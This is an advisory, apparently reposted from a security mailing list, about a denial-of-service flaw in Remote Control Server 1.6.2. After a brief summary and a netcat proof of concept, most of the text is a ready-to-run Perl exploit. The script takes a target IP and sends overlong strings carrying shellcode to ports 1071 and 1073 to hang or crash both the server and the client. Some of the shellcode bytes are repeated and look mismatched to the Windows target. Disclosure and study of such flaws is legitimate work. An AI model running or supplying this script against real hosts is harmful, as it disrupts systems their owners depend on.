[NT] Remote Control Server DoS (Exploit)

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  Remote Control Server DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.btcf.demon.co.uk/> Remote Control is "an application for 
controlling large numbers of computers on a TCP/IP network while sitting 
at the comfort of your own workstation. I have seen the same situation so 
many times, especially with badly configured networks, or Windows 95 
networks in general, there just doesn't seem to be a way to do certain 
things without having to walk all the way over to the computer and do it 
locally".

A denial of service condition occurs in the Remtoe Control Server whenever 
a very long text string is sent to the service data application.

DETAILS

Vulnerable Systems:
 * Remote Control Server version 1.6.2

A simple URL driven denial of service condition occurs when a very long 
text string is sent to the server remote service.

Proof of Concept:
E:\>nc -v localhost 1071
Infam0us-Gr0up [127.0.0.1] 1071 (?) open
[string]

You will receive error message:
Run-time error '75':
Path/File access error
Or
Run-time error '380':
Invalid property value

The following two denial of service attacks result in the process hanging 
and the CPU usage of 100%. A reboot is required in order to terminate the 
hanging processes, when sending a string containing approximately 3094 
characters:

Error 10061: Connection is forcefully rejected
No remote client to connect to.
Probable cause: Remote machine switched off or crashed.

Exploit:
#!/usr/local/bin/perl
#
#  Remote Control Server DOS Exploit
# ------------------------------------
# Infam0us Gr0up - Securiti Research
#
#
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
#

$ARGC=@ARGV;
if ($ARGC !=1) {
    print "\n";
    print " Remote Control Server DOS Exploit\n";
    print "------------------------------------\n\n";
    print "Usage: $0 [remote IP]\n";
    print "Exam: $0 127.0.0.1\n";
    exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = "1071";
print "\n";
print "[+] Connect to $remote..\n";

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";


socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";

print "[+] Connected\n";
print "[+] Build server sploit..\n";
sleep(3);
$sploit = "\xeb\x03\x5a\xeb\x05\xe8\xf8\xff\xff\xff\x8b\xec";
$sploit .= "\x8b\xc2\x83\xc0\x18\x33\xc9\x66\xb9\xb3\x80";
$sploit .= "\x66\x81\xf1\x80\x80\x80\x30\x99\x40\xe2\xfa";
$sploit .= "\xaa\x59\xf1\x19\x99\x99\x99\xf3\x9b\xc9\xc9";
$sploit .= "\xf1\x99\x99\x99\x89\x1a\x5b\xa4";
$sploit .= "\xcb\x27\x51\x99\xd5\x99\x66\x8f\xaa";
$sploit .= "\x59\xc9\x27\x09\x98\xd5\x99\x66";
$sploit .= "\x8f\xfa\xa3\xc5\xfd\xfc\xff\xfa\xf6\xf4";
$sploit .= "\xb7\xf0\xe0\xfd\x99";

print "[+] Attacking server..\n";
sleep(2);
$msg = "reboot" . $sploit . "\x90" x (3096 - length($sploit)) . 
"\xe8\xf1\xc5\x05" . "|LOGOFF|";
print $msg;
send(SOCK, $msg, 0) or die "Cannot send query: $!";
print "DONE\n";
print "[+] Server D0s'ed\n";
sleep(1);
close(SOCK);

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port1 = "1073";

print "[+] Connect to Client server..\n";

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port1, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK1, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK1, $paddr) or die "Error: $!";

print "[+] Connected\n";
print "[+] Build client Spl0it..\n";
sleep(3);

$dos =
"\xeb\x6e\x5e\x29\xc0\x89\x46\x10".
"\x40\x89\xc3\x89\x46\x0c\x40\x89".
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd".
"\x40\x89\xc3\x89\x46\x0c\x40\x89".
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd".
"\x80\x43\xc6\x46\x10\x10\x88\x46".
"\x08\x31\xc0\x31\xd2\x89\x46\x18".
"\xb0\x90\x66\x89\x46\x16\x8d\x4e".
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0".
"\x66\xcd\x80\x89\x5e\x0c\x43\x43".
"\xb0\x66\xcd\x80\x89\x56\x0c\x89".
"\x08\x31\xc0\x31\xd2\x89\x46\x18".
"\xb0\x90\x66\x89\x46\x16\x8d\x4e".
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0".
"\x56\x10\xb0\x66\x43\xcd\x80\x86".
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0".
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0".
"\x66\xcd\x80\x89\x5e\x0c\x43\x43".
"\xb0\x66\xcd\x80\x89\x56\x0c\x89".
"\x56\x10\xb0\x66\x43\xcd\x80\x86".
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0".
"\x3f\x41\xcd\x80\xb0\x3f\x41\xcd".
"\x80\x88\x56\x07\x89\x76\x0c\x87".
"\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80".
"\xe8\x8d\xff\xff";


print "[+] Attacking client..\n";
sleep(2);

print $dos;
send(SOCK1, $dos, 0) or die "Cannot send query: $!";

print "DONE\n";
print "[+] Client D0s'ed\n";
sleep(1);
close(SOCK1);
exit;


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
basher13.
The original article can be found at:  <http://infamous.2hell.com/> 
http://infamous.2hell.com/



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